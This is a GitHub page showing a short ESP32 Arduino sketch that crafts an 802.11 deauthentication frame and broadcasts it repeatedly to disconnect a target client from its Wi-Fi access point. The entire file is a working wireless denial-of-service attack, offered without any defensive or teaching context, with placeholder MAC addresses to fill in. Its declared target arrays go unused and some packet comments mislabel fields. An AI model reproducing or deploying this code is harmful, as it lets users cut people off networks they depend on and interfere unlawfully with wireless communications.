-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPrograms
36 lines (31 loc) · 1.19 KB
/
Programs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <WiFi.h>
#include "esp_wifi.h"
// Target AP and Client
const uint8_t target_ap[6] = {0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF}; // Replace with AP MAC address
const uint8_t target_client[6] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66}; // Replace with Client MAC address
// Deauth Packet
uint8_t deauth_packet[26] = {
0xC0, 0x00, // Frame Control: Deauthentication
0x3A, 0x01, // Duration
0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, // Receiver (Target client)
0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, // Transmitter (AP)
0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, // BSSID
0x00, 0x00, // Fragment/Sequence number
0x07, 0x00 // Reason Code: Class 3 Frame
};
void setup() {
Serial.begin(115200);
WiFi.mode(WIFI_STA);
esp_wifi_set_promiscuous(true);
esp_wifi_set_promiscuous_rx_cb(NULL);
esp_wifi_set_channel(6, WIFI_SECOND_CHAN_NONE); // Set to target AP's channel
Serial.println("Starting Deauthentication Attack...");
}
void loop() {
// Send Deauth Packet
for (int i = 0; i < 50; i++) { // Repeat attack
esp_wifi_80211_tx(WIFI_IF_STA, deauth_packet, sizeof(deauth_packet), false);
delay(100); // Adjust for attack frequency
}
Serial.println("Deauthentication attack sent.");
}